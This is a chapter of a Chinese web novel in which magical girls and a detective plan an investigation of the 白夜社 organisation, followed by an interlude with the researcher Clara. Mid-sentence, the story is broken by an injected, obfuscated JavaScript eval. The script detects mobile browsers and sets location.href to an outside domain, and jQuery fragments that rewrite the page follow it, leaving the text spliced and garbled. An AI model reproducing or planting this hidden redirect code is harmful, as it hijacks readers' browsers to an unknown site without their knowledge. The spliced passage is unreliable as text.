“只要盯着国际游轮就可以,而且是临时停靠的国际游轮,而且只有双休日内有可能让他跑掉,除此之外他就没可能活着出去了。”启明星肯定地说,“他想活,但更多的人想让他死,他除了最终出口之外的一切都不是我们能干涉的,所以我希望各位能帮助我看住出口。” “原来如此,我明白了。”艾克里普眼神闪烁,她不愿意看着这么一个罪恶满盈的人逃走,更别提他还曾经是Evo人体实验的帮凶。 “侦探的意思是,近期动乱缘由在于此人?还是说在于白夜社整体?”森山寺未雅问。 “在整体尚未被辨明的情况下我不该确切地说这句话,但我认为,混乱缘由白夜社整体,而非其中个体,甚至不止如此。但目的却是不明的,我找不出,我的朋友们也一头雾水。但这或许也正是因为线索还未集齐,部分线索藏于大门之后,我需要各位助我一臂之力。”启明星坦诚地说。 森山寺未雅看了看启明星,没有再说什么了。 “不知道什么时候才能结束这一切。”犬山晓叹了口气。 “以及最后一件事,是一份无法拒绝的委托,来自我的一位老客户。”启明星说到这里关上了笔记本。 “或者说老朋友?”森山寺未雅笑着说。 “很荣幸是的,在这座城市生存难免与□□打交道,我的老客户告诉我,他家里的人带着一本账本跑了,希望我能去找一下。”启明星说,“如果顺利的话,我们或许可以从这位老客户口里问到湛的行踪。” “这位的家族也是白夜社的一员吗?”有乐羽生意外道。 “我的推测确实如此,但没有证据,推论理由是其家族曾经的一些故事带着玄幻色彩,让我不免想起了亚贝琉家族的这群奇人。”启明星笑着说,语气却是有些犹豫,“好在这位老客户与我打交道许久,大概不会因为我的试探就生气吧。” “□□会讲信用吗?”艾克里普怀疑这一点。 “按理来说会,但有时不按理,所以我希望有人能陪我一同前去解决这起委托。”启明星说。 “我呢?我不是会跟着吗?”六十七号指着自己问道。 “之前你陪我去过一次,你一开口所有人都知道你有多好套话了。”启明星回头看向六十七号,“拜托你这次不要开口好吗?” “也可以啦。”六十七号一点没见不好意思,只是答应了下来。 “那您希望谁和您一起去呢?”有乐羽生问道,心里有些期待。 “我希望是一位能沉得住气的人。”启明星看向有乐羽生,“很抱歉不能回应你的期待,我想大概不少人都认得您的脸。” “好吧,这样,确实呢,没关系的。”有乐羽生非常失落。 “那要考虑艾克里普吗?”犬山晓比划着,“她这么高呢。” “唉我吗?”艾克里普不知道为什么自己的名字出现了,“要我去吗?” “不,艾克里普小姐不太擅长应对人群呢。”启明星善解人意地摆了摆手。 艾克里普松了口气。 “那难道说是我们两个吗?”森山寺未央激动了起来。 “难道说是我们两个了吗?”森山寺未雅觉得不就是这样吗。 “二位看上去明显就是高中生,而且说话不太看场合呢。”启明星若有所思地摸了摸下巴。 “什么?再给我一次机会吧我真的很想去啊!”森山寺未央不愿意放弃,“要换一种说话方式吗?我现在就学可以吗?语言也不是不行!” “说话不看场合难道不是优点吗?而且现在高武力值高中生很流行吧?”森山寺未雅感到了不甘心。 “这位,以前有和□□打交道过吗?”启明星看向了犬山晓。 “我吗?我最近没怎么和那种人说过话,不对有说过几次。”犬山晓犹豫地说,她大多数情况下都不会被任何人看到自己的行动,而且她会主动避开看上去像是□□的人。 “哎呀这位侦探您眼光真好,”有乐羽生介绍道,“这位可是我们乐队的队长犬山晓,兼吉他手,拼气势不会输给任何人哦?” “是这样吗?”犬山晓不好意思地挠挠头。 “哦哦,那请问。”启明星想了想问道,“如果有个不长眼的家伙故意撞了你,反而要求你道歉并且切下一根小指赔礼,你很生气,接下来会怎么做。” “这也太过分了!□□是这样的吗?”艾克里普觉得很不能接受。 “把这家伙撞飞!用肩膀。”森山寺未央觉得这是一场面试。 “让这家伙当众下跪道歉吧晓。”森山寺未雅出谋划策。 “果然是要带着这家伙去见这家伙的老大,然后让老大决定怎么道歉吧。”有乐羽生思索着。 犬山晓被所有人看着有些紧张,她也不知道什么答案比较正确,就按照自己的想法说。 “把对方的手指切下来让对方现场吃下去,什么的?”犬山晓不自信地说,“比不上Evo做的那些事,但这样比较公平吧。” “咦?公平是这样算的吗?”森山寺未央感到了混乱。 “正常来说,把一个人惹生气之后就要准备好被报复,直到对方不再生气吧。而且对方的做法很恶心所以也得恶心回去。”犬山晓不确定地解释着说,“普通人的话当然不至于这样啦,切手指很痛的,但是□□的人的话应该已经习惯了才对。电影里面不都是这样演的吗?不是说我平时会这么做哦?我平时不会被撞到的!不对好像不该这么说其实我刚才在开玩笑啦哈哈哈!不好笑吗?” 她越解释越匆忙,越匆忙话越碎。 “重点在于生气和恶心吗?这样来算确实以你的感受为主。你只是一个被惹到了的高中生生气一下又有什么错呢?”森山寺未雅觉得自己忽然就特别有同情心。 “对哦,□□的人切手指不是随随便便就切了吗?而且还是小拇指,又不是大拇指,没关系的吧。”森山寺未央点头认同。 “这样来看确实,生气可是很痛苦的。”艾克里普觉得犬山晓是很温和的人,如果这样的她都生气那一定是发生了很严重的事情。 “而且也没有迁怒,很好啦!”有乐羽生觉得没什么不好的,那个想像出来的画面在脑袋里轻轻地飞走了。 于是犬山晓也就平静了下来。 “没错,这份答案深得我心啊!”启明星夸奖道,在她看来犬山晓没有回避血腥手段就已经非常适合作为随行者了,“那就拜托犬山小姐作为我的随行者了。” “当然,我会保护你们的,如果遇到了湛就也由我来解决掉。”犬山晓点了点头,郑重地接下了这一任务。 “我们是包括我在内吗?”六十七号好奇地问。 “是的。”犬山晓奇怪对方为什么这么问,不过在她眼里六十七号虽然强壮但魔力气息微弱,面对普通人还好说,如果面对格雷伊那种天使可能并不是对手。 “…那我的工资怎么办?!”六十七号大惊失色。 “抱歉!我没想到这方面!”犬山晓也大惊失色。 “真是令人安心的发言,事不宜迟,接下来就开始计划行动吧。”启明星说着,拿起了记事本和笔,“请问谁去南流岛负责调查港口和白夜社总部?” “我!我们去吧。”森山寺未央迅速举手。 “我们家在那里附近,而且我们以前去过。”森山寺未雅说。 “那就交给你们了!”启明星将白夜社总部的地址交给二人,“那么就拜托艾克里普小姐与有乐小姐去调查东流湾港口与大学城了。花野真纪刑警近期也在大学城附近调查与之相关的一起案件,若是可以的话那请各位也助她一臂之力吧!” “好的,交给我们吧。”有乐羽生点了点头,“遇到她的话我会和她沟通的。” “若是您能将工厂里的可疑器械销毁就更好了,那些器械大部分来自Evo机械部门以及过去的化工厂。”启明星说道,随后又补充说,“若是遇到了奇怪的事您自己决定就好,我也随时等候您的来电。” “当然。”艾克里普郑重点头。 “我知道各位明天还要上学,这几处的混乱会持续一段时间,而随着时间推移后续可能会有新的事件发生,请做好准备。”启明星看向各位说。 “不过正好明天就是周五,我们中午就能开始行动,双休日也能动手。”犬山晓点了点头。 “那我们正好明天先回家,然后从家附近出发前往南流岛附近。”森山寺未雅说。 几人各自交流了一番之后正式确定好了行动时间,窗外的天色逐渐步入了黄昏特有的暖色调。 “都到这个时间了呀,我得先回去了。”有乐羽生站起身。 “有问题请随时通过电话联系我,感谢您的帮助。”启明星起身送她前往事务所外,开了门后与有乐羽生一同站在等候区中。 有乐羽生明白对方有话要说,也不急着传送离开。 “有乐小姐,您的母亲想必就是有乐千奈顾问吧。”启明星问。 “是的。”有乐羽生点了点头,等对方继续说明。 “我不知道您是否知情,但这件事您有立场知道。”启明星说,“针对天不渡贩卖的毒品的那一则视频,虽然是由某个暗网中的高级账号发布,但若是没有顾问的允许,它是没有可能被传播出去的。” 有乐羽生一时愣在原地,她一直清楚自己的母亲确实与不同的存在有交流和合作,但现在,她从启明星口里听见自己母亲的职位,依旧令她感到有些奇怪。 “母亲她,原来与这件事是有关的吗。”有乐羽生有些犹豫,这里该为母亲解释些什么,还是表达自己的态度呢? “是的,”启明星点了点头,“所以除了隐瞒以外,您或许需要考虑一下父母的人身安全问题。” 此话一出,有乐羽生心里一惊,随后是后怕。她已经习惯了被母亲保护并且控制自由,这也令她忽视了自己的母亲实际上只是一个普通人。 “您认为,湛会派遣天使的人对母亲动手吗?”有乐羽生有些忐忑不安。 “若是亚贝琉的退出实际上是她们自愿的,并且她们最终的目的是以此为契机让白夜社站在公共秩序的对立面,那有顾问的职位就是最好的牺牲品。”启明星并没有对这种可能性进行遮掩,在她看来这些孩子中除了犬山晓和艾克里普,其余的三位是真正不该参与到这些事情中来的,她们还只是高中生,哪怕掌握了力量也没有足够的心智去妥善使用。 好在她们看上去比启明星想象中的更有担当,并没有如她最坏的预想的那样成为“拿着手枪的婴儿”,不过这也使得她们不得不面对更多问题。 她们早就已经无法脱身了,那就要尽早做好准备。 “…我明白了,我相信您的判断。”有乐羽生思索之后郑重地说,“我清楚这件事直到完全结束之前,我的父母,以及我都不能说是真的安全。” “看来您比我想象中的还要有觉悟,能做到正视困难比什么都强。”启明星笑着说,拿出了一个小盒子递给有乐羽生。 “啊,谢谢您。”有乐羽生惊讶地接过盒子,轻微的晃动下发出沙沙的声音,她认出了里面的存在是糖果。 “我确实因为你们是魔法少女而想要靠你们的力量解决一些问题,但你们本身的意愿更加重要,你们本身比你们所拥有的力量更加重要。”启明星看着有乐羽生说,“那么,我就送到这里了,祝您一路平安。” “谢谢您!”有乐羽生道谢,她看着启明星回到事务所内,心中的好奇心洋溢着。 随后,她转移到了学校,准备回家。 “我们是今晚就动手比较好吗?”森山寺未央问道。 “看来各位都不太需要休息,但惭愧的是我需要睡眠。”启明星表情惭愧,“若是几位有闲暇时刻不知如何消耗,不如提前去目的地探查一番,因路况和我朋友的努力,圣心物流的运输车抵达时间最早也是明天,到时候定会闹出些动静吧。” “路况是因为道路封堵但运输车得走高速吧。”森山寺未雅说。 “没错,目前我还没得到关于南流岛附近有出现动乱的消息。”启明星点头说。 “那我们就先和妈妈说一下最近少出门吧。”森山寺未雅对森山寺未央说,“明天下午我们回家一趟,然后也和爸爸说一下我们周末不在家里待着了。” “要找一个理由,理由吗。”森山寺未央挠了挠头,“准备期中考如何?” “不行的吧。”森山寺未雅迅速否决。 “没想到启明星侦探平时的委托都是这么危险的事情,幸好六十七号先生能保护您的人身安全。”艾克里普端起咖啡叹了口气,“也没想到这件事能牵扯出这么多事情来,不过能这样一次性解决了也不错。” “其实即使解决了也不见得会变得更好啦,艾克里普小姐认为现在这个城市看上去如何?”启明星问道。 “咦?这个的话。”艾克里普也不知道该如何评价一座城市,“还不错?有比这里糟糕的也有比这里更安全的,这里的魔物比起其它城市的更少一些,总体来说应该是不错的。” “这样啊,艾克里普小姐的评价很中肯。”启明星摸了摸下巴,看向六十七号,“你觉得这个城市如何?” “老板我觉得这里挺好的!”六十七号迅速回答,或许是听到了太多东西脑子没办法思考更多了。 “算了,本来就不指望你。”启明星摆了摆手。 “启明星侦探对这座城市感到不满吗?”艾克里普有些好奇地问,她虽然一直在守护这座城市,但也见过许多对这里不满的人。 “不,”启明星摇了摇头,“不如说我觉得这座城市一直在变好,并且比我想象中的更快。” “是呢,”犬山晓感叹道,“之前去Evo园区里的时候,里面的很多机器看上去太惊人了,而且这个城市的摄像头远比其它城市的多,功能也更复杂。但同时很多地方还是没有路灯,而且地面也没有修好。” 不过在这一点上,Evo在人体实验上的所作所为更惊人一点,但犬山晓不认为这是好的。 对于犬山晓而言现代科技进化快没什么不好,只要她还身处于社会中,总有无数个机会去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807986|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探索那些东西。她以前害怕思考自己的未来会变成什么样的,哪怕她是魔法少女,而且拥有着真正的不死之身。 总说着我们会有美好的未来什么的,结果到头来我才是那个不敢接受未来的变动的人。犬山晓这样想着,为自己的不自信发笑。 “是的,但那些机器大多数都并不是为了现代社会中的需求而制作的。”艾克里普说。 她完全无法理解那些机械的构造意图,但很明显,Evo的所作所为并不是为了现在的人类社会。“进化”是为了成为更好的人类,在艾克里普看来,Evo中的一些人并没有将普通人看作是同类。那更好的人类八成是指天使那样的存在吧。 这样的人实际上艾克里普了解的不少,甚至不需要魔法,不需要特别大的特权或特别多的财富,只需要一个小小的台阶,一些人就能自视为超人了。 但艾克里普清楚这也是人类的特征之一。 “我偶尔会思考,如果这座城市,以及其它附近的城市中的□□若是像普通的□□一样逐渐衰弱,需要搬到明面上来与其它企业竞争,那这座城市会不会不同。”启明星靠向沙发背,叹了口气,单眼有些疲倦地合上。 “肯定会的吧,至少街道上的小店受到骚扰后首先想的是联系警察,书本上也是这样说的。但现在大多数会考虑靠着另一个帮派势力报复回去呢。”森山寺未央说。 “这样来看,似乎类似的这些东西,从三十多年开始就一直没有变过,主要也是白夜社的原因吧,有这么一个庞然大物存在,新树苗的成长会很艰难。”森山寺未雅说。 “可是这样一来,很多本来在这里的就不会存在了吧?”六十七号说道,“比如说我,如果那个实验室不存在的话,我大概也就不会出现在这里吧。” 说话间,六十七号依旧是慢条斯理的,并没有表达出庆幸或者遗憾的感情。 “为什么您能这样轻易地接受这件事?”犬山晓忍不住问了。 “因为我不是很在意这个问题。”六十七号看了看启明星,“老板说这样不太好,不过我果然还是觉得这个问题无所谓。” 六十七号似乎并不在意“他可能会不曾出现”这个问题,但犬山晓对于这个问题可以说是耿耿于怀,她自认为自己现在的存在能够证明曾经的一切都是有意义的,但对方似乎对于意义并不在意。 难道他没有任何在意的,或者想要的东西吗?犬山晓想。 “这个人只要活在当下就能满足了,不必与他讨论未来与过去哦。”启明星对犬山晓说。 可这也是犬山晓想说的,她也算是着重于眼下的东西之人,到底是什么让二人对于意义的看法有着如此之大的差距呢? “说起来,启明星侦探的年龄方便透露吗?”森山寺未央实在是按耐不住好奇心了。 “这有什么?不如说各位是少见的能忍到现在的。”启明星笑着说,“我的身份证上出生日期是1997年,实际年龄应该比这更大一些。” 这下所有人都吓了一跳,其中以艾克里普的反应最大,她直接站了起来。 “哈哈,我最喜欢的环节。”六十七号笑着说。 “…为什么您的年龄与外表如此的不符呢?”艾克里普大惊失色地走到启明星的身前,确认她从骨龄到五官都属于一个完全没发育好的儿童。 “事到如今您才惊讶真是令我也吓了一跳。”启明星不明所以地说,“我的外表已经多年没有发生改变了,并非侏儒症表现也并非发育迟缓。大部分检查都找不到原因,当时我找到您也觉得您或许知道一些什么。” “完全不知道!您的身上完全没有魔力气息,而且我也见过很多天才儿童所以以为您就是这个年龄。”艾克里普还是很惊讶,“能让我仔细检查一下吗?” “请便。”启明星闭上眼摊了摊手,艾克里普伸手触摸启明星的额头,仔细摸索着骨骼感受其中的构造。 “原来真的没有特殊的原因吗,我还以为有隐情。”犬山晓也很惊讶,她原以为这位或许也是人体实验的受害者,但现在的情况似乎更加诡异。 “为什么大家反应都这么大呢?”六十七号满意之余好奇地问。 “因为这是反常识的,而且违反了各种情况下的常识。”启明星闭着眼睛回答。 “所以说你为什么就这样接受了啊?”犬山晓还是觉得六十七号的思考方式有问题。 “为什么?”六十七号虽然很疑惑但还是礼貌地回答了,“老板什么样就什么样吧,老板人挺好的。” 犬山晓放弃和他沟通了。 “总感觉羽生错过了很精彩的东西。”森山寺未雅说。 “那为了公平起见我就少说一些吧?”启明星说着睁开了眼睛。 “完全就是普通小孩子的骨骼构造,细胞和器官都很健康,不过肝脏情况比起正常小孩子有些不好,启明星侦探请多多休息哦。”艾克里普放开了启明星,还是很困惑。 “那拜托请解释一下眼罩,这个我无论如何都想知道!拜托了!”森山寺未央双手合十。 “哇,第一次见到直接问的,拐弯抹角想打听的人特别多。”六十七号说。 “我也很好奇呢,侦探您的眼球并没有损伤的痕迹。”艾克里普说。 “感谢您的关心,”启明星也没有卖关子,直接摘下了右眼的眼罩,“我的右眼确实没有普遍意义上的健康问题。” 启明星的右眼与左眼没有什么区别,普通的暖棕黑色,瞳孔也正常地有光泽。 “我的右眼与左眼的视野有所不同,若是正常用两眼视物,那会产生严重的障碍,所以我通常将右眼遮起来,虽然对平衡有所影响但比原先好多了。”启明星眨了眨眼,两副眼皮一起动了起来。 “是视网膜的问题吗?”艾克里普观察着启明星的右眼,或许是因为长期没有使用的原因,暴露在光线下导致上面弥漫了些红血丝。 “可能是。”启明星眯起了左眼,“简单来说,我如果只使用右眼视物,那我看到的东西将与真实世界严重不符。” “是幻视吗?”艾克里普担心地问。 “或许是,告诉各位也没关系,我看到的是另一个世界的景象。”启明星看着眼前,抬起右手触碰到了艾克里普的胳膊,“在我的右眼视野中,各位不存在,事务所内的一切都不存在。” “这并不是幻视那么简单的事情了吧?”森山寺未雅皱眉,她也曾经有过幻视的问题,可幻视是精神基于原先的视野加工而成的。 “我无法干涉右眼中的世界,左眼右眼中的区别的原因我无从而知。”启明星将眼罩戴了回去,“所以我认为时间回溯或者平行时空是存在的,我的右眼看到的是另一个世界。” “您这样一说我都怀疑起来了,”艾克里普叹了口气,“不过您能保持镇定,还成为了侦探,真是了不起的作为。”虽然是这样说,但她也并没有对此产生更多的思考了。 “毕竟我可是启明星,”启明星笑着说,“或许是谁不小心拿错了一半的眼睛吧。” “那也就是说另一个世界的您正看着一群不认识的人围着自己吗?”犬山晓这样说着笑了。 “能认识各位可是荣幸。”启明星眨了眨眼。 几人继续谈论了一番接下来行动上的细节,启明星拉着犬山晓演习了一会见到人后要怎么做,几人便分开了。 “希望您今晚做个好梦。”艾克里普向启明星道别。 “承您吉言。”启明星点了点头。 森山寺姐妹回公寓的路上还在绞尽脑汁思考理由该说什么。 “乐队练习!”森山寺未央说。 “以前都没有过,太牵强了。”森山寺未雅说,“我们在做义工。” “我们都让爸爸妈妈不要出门了自己跑出去怎么解释?”森山寺未央摇头。 “找个安全信得过的地方。”森山寺未雅提议。 “学校,不行的吧。不如说我们去给西西路老师扫墓好了。”森山寺未央想。 二人朝车站走去,准备坐市中心商业区西部的市内环线回家,抵达车站附近的广场时,人流涌动,大楼上的巨大屏幕播报的新闻吸引了二人的注意力。 “本案犯嫌于在任的十五年间,私自违法制造大批量毒品并涉嫌贩卖,造成重大社会恐慌与严重民愤。经审理三审定谳,依刑法处以极刑。 法务部指出,经法定程序并报请核准,于今日上午执行完毕。执行前已依规定通知家属,并安排会面。法务部并表示,未来将持续推动犯罪预防与被害人权益保护工作。” 大屏幕一角,照片中,被模糊的面孔森山寺未央并不陌生,那是博蒙-阿贝尔。 “博蒙,她或许并不是最该死的那个,但或许是最想死的那个吧。”森山寺未央想起对方说的话就心有余悸,“不过罪名居然只是制毒吗?” “是吗?她死前面会家属,家属会是谁呢。”森山寺未雅好奇。 天色逐渐暗了,屏幕的光显得有些刺眼,偶尔有人抬起头去看一眼行为,或多或少谈论几句就离开了,她们有自己的目的地要去。 “没有。”一个沙哑的声音从二人身旁五米左右响起,车站广场的角落里,一个身披明黄色斗篷的人站在那里看着屏幕,鲜亮但也几乎与阴影融为了一体。 “是在和我们说话吗?”森山寺未央疑惑道。 “不知道,快走吧。”森山寺未雅拉着森山寺未央准备离开。 那人一动不动,只是看着屏幕的方向,在二人走近后,那张脸让森山寺未央停住了脚步。 斗篷下的那张被绷带遮去一半的脸宛若被揉皱的苍白的纸,那双裸露在外的昏黄眼中红血丝多到像是在滴血。 “格雷伊。”森山寺未央警惕地说,“你为什么出现在这里。” 是来执行Evo的任务吗?还是说作为亚贝琉的一员在根据湛的指使来攻击她们吗? “她没有面见家属。”格雷伊只是继续用沙哑的嗓子发出轻微的声音,她并没有朝向任何人,也好像没有在看屏幕中的内容,她只是站在那里,像广场中的石头。 “…她是自己选的,她说了她准备好了。”森山寺未央沉默了一会说,“你不必如此悲伤吧,她自己都说了她有多讨厌你,难道你不知道吗?” 作为曾经被家人伤过心的人,森山寺未央能感同身受格雷伊的心情,但与森山寺未雅的异常状态不同,博蒙是在神态清醒的情况下诉说自己的厌恶的。 而那些话语中所包含的负面感情,哪怕森山寺未央不懂,也不认为对方在说谎。 格雷伊没有说话。 “你现在只有一个人了,无论你想做什么,都先振作起来吧。”森山寺未雅说着,不准备在这里多做停留了,她根本不认识格雷伊,只是从几人带回来的线索中得知天使中有着这么一个特殊的混血。 格雷伊没有说话,只是站在那里。 54.间奏-克拉拉与森山寺未雅 克拉拉盯着自己的电脑,等到最后的结果。 她这几年来一直所追逐着的结果即将蹦出来,虽然不会有什么礼花和特效,但惊喜大概不会令她失望的。接下来利用结果写书还是发表文章都是她可选的道路。 这样一来就没有人能质疑她的决定了,无论是那些看不起人的研究人员也好,家里的那群人也好,通通都没有资格对如此惊世骇俗的结果表达任何的不满吧。那些人一定会大跌眼镜,彼此之间议论纷纷,朝她投来羡慕嫉妒恨的眼光,敬佩她当初能做出如此果断的决定。 那个时候那个家伙说的是什么来着?啊都要忘记了,差不多就是“她这辈子哪怕一无所获也能活得顺心如意吧,真是令我羡慕不已”,这样的话他作为继承人是怎么做到说得出口的?况且她从小就展现出了自己的天赋,到底是为什么会有人对她的未来不抱期望呢? 结果能说明一切,也会替她解释一切。 一切都是因为她的荣誉将是前无古人后无来者的,唯一能找茬对其表达批评的人就是她的老师,而她的老师已经失踪很久了。 想到这里,克拉拉本飘飘然的思绪迅速落回原地。 接下来要做什么呢?她想着,不由得对着天花板发起了呆。实验室没有窗,对着白炽灯发呆对视力不好,于是克拉拉重新低下头,对着地板发呆。 将手头的实验结束后收到尾款就不必再联系那些人了,说起来这批药还是Evo那边的,改良版送过去的时候希望它还健在能打款啊,还有那边的试剂结果也要记得给大学实验室送过去。还有什么,还有什么要做的事情呢。 想不出来啊!克拉拉一气之下站了起来,但很快就因为头晕又坐下了。 说到底,克拉拉只在乎她得到的成果能足够耀眼,足够不容置疑,她本身对于结果本身是什么其实也没有那么在意,毕竟真正的结果已经在从神脉医院带回来的试验记录里了,她想要知道的话打个电话给犬山晓就能像听故事一样听到全貌。 她只是想要一份样本,一份实验数据,一份结果,写一份报告,然后获得,获得什么来着。 哦,克拉拉意识到自己并不能获得什么,顶多获得几次机会看到一些脸上出现令她感到痛快的表情而已。顺便能在每次噩梦中质疑自己当初的决定的时候,对迷茫的自己大喊:你没有错! 就是这个啊,克拉拉想,她就是为了这个掏出自己全身家当建立了这个实验室,在这里待着为一个看不到头的成果努力了十几年,甚至为了这些设备成为了当初自己最看不起的商人。 这样就好了吗?克拉拉想,她以为即使是现在也一定会大声地说这样就够了,但现在她一晃眼都三十多岁了,就像是成年人会失去对零食的欲望一样,克拉拉发现,自己也失去了对一时之快的满足感。 但她又实在想不出自己想要什么,这样想来她作为学生的时间似乎实在是太久了,久到她无法再去想象离开了实验室的自己是什么样的。 不需要目标也能活下去的人很多,但克拉拉不希望自己是那样的人。 喝了很贵的酒,登上了很厉害的演讲台,获得了很厉害的奖,拥有听上去就很厉害的名号,这样一来就算是成为了很厉害的大人了吗?这样一来就满足了吗? 若是这样的话,克拉拉觉得自己的人生或许也就到此为止了吧,她认为人生若是没有一个目标为之奋斗就没有价值,但是她为自己定下目标的时候太早了,十几年的人生用于证明一个十几岁的孩子定下的目标已经足够证明,她是一个真挚而纯粹的科研人员。 但是在那之后呢?她还能做得到为自己定下下一个目标,并为之赔上自己之后的人生吗? “我有变这么多吗?”克拉拉呢喃着说,原来她已经三十五岁了,已经是一个大人了。 而她知道,大人意味着不再纯粹,意味着不再拥有热情,意味着有了顾忌,不再能坦荡地说:我还有着无限的可能。会开始成为她最讨厌的大哥那样的人,成为故事中的背景板。 但是克拉拉拒绝这样,她就是为了证明自己哪怕不变成那样的人也可以获得世俗意义上的成功,她可以靠着自己本身的才干达成自己的目标,她只是她自己。也就是说,从一个需要依靠大人才能活下去的孩子,成长为一个可靠的大人。 但是一个三十五岁的人,无论可不可靠,都已经是一个大人了。世间多的是没能成功长大的成年人,克拉拉发现自己没法像一个刚刚长大的孩子一样顺理成章地走向新的未来,也做不到像一个已经接受自己的意义的大人一样,安于现状。 那她到底该怎么做呢?克拉拉看向那些实验器材,无论如何都想象不到明天该怎么办。 她想起来了那个偶尔会找上门来的双胞胎姐妹中的一个,是叫森山寺未雅来着,她经常会跑来问能不能试试看再触碰那个特异点一次,次数多了她自己都会用那台轮椅了。 “没有其它办法再次看到那个世界了吗?”每次醒来时她都会这样问。 “我根本就没进去过,那玩意明显脱离了科学范畴吧?不如你们来想想办法如何?”克拉拉会这样回答。 “…没有魔法就没办法了吗?”森山寺未雅的语气像是嘲讽又像是真的在思考。 “魔法就要用魔法对付吧,术业有专攻。我们用科学的方式来解释魔法不过是因为不得不这样做,你们作为魔法少女明明有更方便的手段吧?”克拉拉说。 “可是你明明是在不知道确切的结果会如何的情况下坚持研究了这个很久了吧,也想办法控制住了它的影响,再加把劲不行吗?”森山寺未雅给克拉拉加了个油。 这话确实属实,一开始克拉拉确实是拼着一口气,掏出了自己全身上下的积蓄才在这里组建起了这个实验室,后续也是到处找活干才供得起设备的定期更新和维护。 但如果指望这口气一直续到现在的话就有点勉为其难了吧。 “这是不一样的。”克拉拉说,她实在是不想说自己不知道,但她没有多解释,理由的话要多少有多少,森山寺未雅不需要那么多理由就能明白她的拒绝。 “为什么你一直想再进去一次?按你说的那样的话,那个世界的你现在应该已经死了吧。”克拉拉问。 “我的魔法,能预测可能会发生的事情。”森山寺未雅说。 “所以想提前得知幕后黑手是谁吗?不过知道了你们现在也找不到吧。”克拉拉说。 “…不,如果我的魔法是预测,那么那个世界的我魔法肯定也是如此的,既然如此,那个世界的我肯定是预测到了非常坏的未来,才会选择一个人离开的。”森山寺未雅说。 “或者说,预测到自己的离开会有一个更好的结果吧。”克拉拉补充道。 “是的,所以我无论如何都想看看,她预测到的那个世界的未来是什么样的。”森山寺未雅点头。 “你没有考虑过现在就是她预测的结果吗?”克拉拉说。 “她自己都说了‘你的世界’,我并不是会为另一个世界而烦心的人。”森山寺未雅摇头。 “好吧,那你不如现在猜猜看,什么样的未来会让你心甘情愿地结束自己的生命吧?”克拉拉问。 实验即将成功,她难得有耐心陪小孩子聊天。 “其实我是知道的,如果是‘我的死会让这个世界变得更好’这样的未来,那我绝不会牺牲自己的命。”森山寺未雅顿了顿,“但是如果我预测到的所有未来中,我的妹妹都会死去的话,那我会用我的生命去试试看新的路。” 克拉拉沉默片刻,她不明白为何森山寺未雅年纪轻轻就能拥有如此觉悟。 “因为如果是未央能预测未来的话,她也会这么做的。”森山寺未雅肯定地说。 手足情深吗,克拉拉实在是想象不了,但她没有进行反驳。 “但特异点也没那么重要吧,至少对你们要做的事情来说没那么重要。”克拉拉说,“我的所有实验数据和消息都表明特异点的存在与Evo的一切研究都并不存在联系。再说,哪怕你看到了那个世界的发展,那也对这个完全不同的世界没有参考价值不是吗?” 这也是克拉拉不理解森山寺未雅的核心,她认为这没有用。 “…你和我之前还挺像的。”森山寺未雅忽然就笑了,“不,不如说正常人都应该这样想吧。” “给我尊师重道一点,我的说法都是有科学依据的。”克拉拉不满地说。 “但是并没有魔法依据不是吗?”森山寺未雅说。 “这玩意的学习门槛太高了。”克拉拉说。 “你有想过,魔法,或者说魔力为什么会存在吗?以及魔物,魔法少女,魔法道具。”森山寺未雅问道。 “当然是没有想过,神学和科学不算是完全对立的,但幻想可没人为它辩护,魔法少女们根本就没有在历史上留下多少痕迹,一切关于魔法的想象与设定都存在于你们的脑子里,而其它人若是想要了解,就只能阅读一些作品并洗脑自己相信它。”克拉拉面无表情地回答。 “居然是这样的答案吗,我以为你如此自然地接受了魔法少女的存在会更加的理想化一点,例如解释说‘只要相信就能存在’什么的。”森山寺未雅挑了挑眉,在没有森山寺未央在场的时候她的表情相当稀少。 “要说我书读多了头脑僵硬吗?放二十年前我会考虑将这个放进我的课题的,但现在我三十五了。”克拉拉说,她接受魔法少女但这与她无关,她不会接触魔法,不会使用魔法,犬山晓比起魔法少女,作为她的被监护人的身份更令她重视。 “不,只是我作为魔法使用者偶尔会觉得它还蛮遵循规律的。而且至少在我们的这个世界,魔法确实存在,只是大多数人不相信。现在许多作品都喜欢用科学的方法解释魔法,就像是用因果解释叙事,但实际上现实又不是小说,不需要讲逻辑。”森山寺未雅摇头。 “因为不需要相信吧,普通人不需要魔法也能活下去,不如说如果是故事的话如果没有魔法就没有Evo做的那些人体实验了。不过哪怕没有Evo也会有EvaEveEvn什么的蹦出来以不同的目标搞人体实验就是了。”克拉拉说。 “没错,这个世界不需要魔法就能延续下去,那为何魔法就是出现了呢?”森山寺未雅问。 “你不会是在问我吧?或许是为了让你们这些魔法少女出现并且看你们会发生什么样的故事,以此为乐什么的?”克拉拉不负责任地猜测着。 “那我还真是差点被角色删除啊。”森山寺未雅笑了,“就伊提阿姨的论点来说,一切长期存在的都是应该存在的。” “她的那套地球器官论?”克拉拉并没有被打动,“宇宙存在多久了?地球的存在与之相比或许还在试错期吧,而且硬要把一切往生物学上靠是那个研究中心的爱好,她是那里出身的我不是,我也不打算同流合污。” “这样来看阿姨她和那个研究中心也是有够可疑的,魔法曾经对我来说是致死的。”森山寺未雅说。 “那你为什么还如此推崇于魔法本身呢?按照你的逻辑来说,不管其它什么东西,将一切都解决了不就好了?难道你是觉得有谁想知道一切的真实吗?现在流行的是半分钟以内的短视频哦?”克拉拉嘲笑道。 “…大概因为我也是魔法少女?”森山寺未雅说。 什么嘛!克拉拉大失所望,说到底这不就是有天赋的人在仗着自己的天赋去做只有这些人才能做得到的事情,还要拉上她这个普通人去做见证。 就好像热血漫画里的主角遇到什么质疑都可以用一句“因为我们是xxx”来敷衍过去,配合制作优良的背景音乐总会有被气氛带动的观众买账的。 条件反射将自己归为普通人的克拉拉脸色变化太明显了,森山寺未雅不用猜都能看出来对方在想什么,心里不禁想这人简直就是深信现代文学作品没有深度便对所有现代作品以及其读者嗤之以鼻的幼稚老头。 